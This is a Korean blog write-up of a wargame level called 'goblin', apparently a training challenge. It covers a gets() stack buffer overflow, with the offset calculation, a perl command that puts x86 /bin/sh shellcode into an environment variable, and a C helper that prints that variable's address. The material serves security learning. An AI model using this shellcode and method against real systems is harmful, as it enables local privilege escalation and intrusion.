1. goblin의 소스코드를 파악한다.
소스코드를 보면 gets함수로 배열크기 16의 변수에 값을 입력하는 단순한 코드로 되어있다.
2. gdb로 스택 구조를 파악한다.
밑의 사진을 보면 스택에 16크기가 할당되는 것을 볼 수 있다. 따라서 우리는 배열 변수(16)+ SFP(4) + RET(4)=24만큼의 공격 스크립트를 입력하면 된다.
![](http://blogfiles.naver.net/20140317_95/rladudwls321_1395046609233jlkFk_PNG/%C1%A6%B8%F1_%BE%F8%C0%BD.png)
3. 환경변수에 셸코드를 올린다.
export SHELLCODE = $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
4. 환경변수의 주소값을 출력하는 코드를 작성한다.
#include<stdlib.h>
int main(int argc,char* argv[])
{
char* a = getenv(argv[1]);
a+= (strlen(argv[0]) - strlen(argv[2]))*2;
printf("SHELLCODE position is %p \n",a);
return 0;
}
그 후 환경 변수의 주소값을 이용해 공격 스크립트를 작성한다.
![](http://blogfiles.naver.net/20140317_292/rladudwls321_13950470800224BDgU_PNG/%C1%A6%B8%F1_%BE%F8%C0%BD.png)
끝..!
'Wargame' 카테고리의 다른 글
Fc3 dark_eyes (0) | 2014.08.22 |
---|---|
Suninatas all clear (3) | 2014.07.25 |
워게임 현황 (0) | 2014.07.01 |
CodeEngn 베이직 올클 (0) | 2014.05.14 |
워게임 사이트 (0) | 2014.05.05 |